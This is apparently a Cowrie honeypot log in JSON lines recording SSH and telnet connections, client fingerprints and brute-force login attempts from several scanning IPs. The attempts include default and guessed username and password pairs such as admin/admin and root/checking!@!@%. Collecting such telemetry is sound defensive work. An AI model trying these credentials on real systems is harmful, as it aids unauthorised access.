{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:13.304556Z","src_ip":"45.43.37.254","session":"cfe0a112b617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60318,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ebbcda58bb","protocol":"telnet","message":"New connection: 50.6.8.71:60318 (10.17.0.5:23) [session: e7ebbcda58bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:13.661237Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:13.799018Z","src_ip":"45.43.37.254","session":"cfe0a112b617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:14.061573Z","src_ip":"45.43.37.254","session":"cfe0a112b617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":36558,"dst_ip":"159.203.135.109","dst_port":22,"session":"512190f0155c","protocol":"ssh","message":"New connection: 130.12.180.51:36558 (159.203.135.109:22) [session: 512190f0155c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:14.227474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:14.233835Z","src_ip":"130.12.180.51","session":"512190f0155c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:14.316791Z","src_ip":"130.12.180.51","session":"512190f0155c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:14.563858Z","src_ip":"130.12.180.51","session":"512190f0155c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:15.121053Z","src_ip":"130.12.180.51","session":"512190f0155c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34600,"dst_ip":"10.17.0.5","dst_port":23,"session":"cebcc8e4d95f","protocol":"telnet","message":"New connection: 50.6.8.71:34600 (10.17.0.5:23) [session: cebcc8e4d95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:22.486867Z"}
{"eventid":"cowrie.session.closed","duration":32.25034475326538,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:29.009120Z","src_ip":"50.6.8.71","session":"10c62449831c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":31124,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f9d3024f131","protocol":"ssh","message":"New connection: 201.77.124.248:31124 (159.203.135.109:22) [session: 9f9d3024f131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:30.851879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:30.857366Z","src_ip":"201.77.124.248","session":"9f9d3024f131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:31.113241Z","src_ip":"201.77.124.248","session":"9f9d3024f131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@2023","message":"login attempt [deploy/deploy@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:31.689158Z","src_ip":"201.77.124.248","session":"9f9d3024f131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:32.830306Z","src_ip":"201.77.124.248","session":"9f9d3024f131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54134,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca9afd81ccc0","protocol":"telnet","message":"New connection: 50.6.8.71:54134 (10.17.0.5:23) [session: ca9afd81ccc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:34.674922Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36640,"dst_ip":"10.17.0.5","dst_port":23,"session":"075e14356e96","protocol":"telnet","message":"New connection: 50.6.8.71:36640 (10.17.0.5:23) [session: 075e14356e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:39.977895Z"}
{"eventid":"cowrie.session.closed","duration":32.8737473487854,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:46.534886Z","src_ip":"50.6.8.71","session":"e7ebbcda58bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.18766236305237,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:04.674380Z","src_ip":"50.6.8.71","session":"cebcc8e4d95f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.869494915008545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:06.544280Z","src_ip":"50.6.8.71","session":"ca9afd81ccc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53686,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ec112127eb","protocol":"telnet","message":"New connection: 50.6.8.71:53686 (10.17.0.5:23) [session: 63ec112127eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:10.057427Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":62218,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0b3b00b8302","protocol":"ssh","message":"New connection: 213.209.159.56:62218 (10.17.0.5:22) [session: a0b3b00b8302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:15.535701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:15.540051Z","src_ip":"213.209.159.56","session":"a0b3b00b8302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:15.622307Z","src_ip":"213.209.159.56","session":"a0b3b00b8302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson","message":"login attempt [stetson/stetson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:16.027331Z","src_ip":"213.209.159.56","session":"a0b3b00b8302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson1","message":"login attempt [stetson/stetson1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:17.112818Z","src_ip":"213.209.159.56","session":"a0b3b00b8302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson123","message":"login attempt [stetson/stetson123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:18.198049Z","src_ip":"213.209.159.56","session":"a0b3b00b8302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson1234","message":"login attempt [stetson/stetson1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:19.289665Z","src_ip":"213.209.159.56","session":"a0b3b00b8302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson12345","message":"login attempt [stetson/stetson12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:20.376515Z","src_ip":"213.209.159.56","session":"a0b3b00b8302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.063859701156616,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:21.041633Z","src_ip":"50.6.8.71","session":"075e14356e96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:21.461761Z","src_ip":"213.209.159.56","session":"a0b3b00b8302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae74ef4399bb","protocol":"telnet","message":"New connection: 50.6.8.71:35688 (10.17.0.5:23) [session: ae74ef4399bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:41.083655Z"}
{"eventid":"cowrie.session.closed","duration":31.2056405544281,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:52:41.262924Z","src_ip":"50.6.8.71","session":"63ec112127eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38950,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d1c539a6bb","protocol":"telnet","message":"New connection: 50.6.8.71:38950 (10.17.0.5:23) [session: 08d1c539a6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:01.037029Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":10846,"dst_ip":"159.203.135.109","dst_port":22,"session":"98f1f9e7a7c5","protocol":"ssh","message":"New connection: 201.77.124.248:10846 (159.203.135.109:22) [session: 98f1f9e7a7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:15.504695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:15.509825Z","src_ip":"201.77.124.248","session":"98f1f9e7a7c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:15.641877Z","src_ip":"201.77.124.248","session":"98f1f9e7a7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:16.199971Z","src_ip":"201.77.124.248","session":"98f1f9e7a7c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:17.334579Z","src_ip":"201.77.124.248","session":"98f1f9e7a7c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.306819677352905,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:17.390381Z","src_ip":"50.6.8.71","session":"ae74ef4399bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.465269565582275,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:35.501964Z","src_ip":"50.6.8.71","session":"08d1c539a6bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56530,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d68dbddeb84","protocol":"ssh","message":"New connection: 89.108.118.91:56530 (10.17.0.5:22) [session: 1d68dbddeb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:40.115274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:40.119543Z","src_ip":"89.108.118.91","session":"1d68dbddeb84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:40.249862Z","src_ip":"89.108.118.91","session":"1d68dbddeb84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:40.646317Z","src_ip":"89.108.118.91","session":"1d68dbddeb84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:53:41.777944Z","src_ip":"89.108.118.91","session":"1d68dbddeb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33260,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58d5fe7490e","protocol":"telnet","message":"New connection: 50.6.8.71:33260 (10.17.0.5:23) [session: d58d5fe7490e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:15.094555Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55220,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d94bf6b0477","protocol":"telnet","message":"New connection: 50.6.8.71:55220 (10.17.0.5:23) [session: 1d94bf6b0477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:43.264736Z"}
{"eventid":"cowrie.session.closed","duration":30.989231824874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:46.083652Z","src_ip":"50.6.8.71","session":"d58d5fe7490e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":58720,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf12a7efe77b","protocol":"ssh","message":"New connection: 193.46.255.86:58720 (159.203.135.109:22) [session: bf12a7efe77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:58.762730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:58.767823Z","src_ip":"193.46.255.86","session":"bf12a7efe77b","protocol":"ssh"}
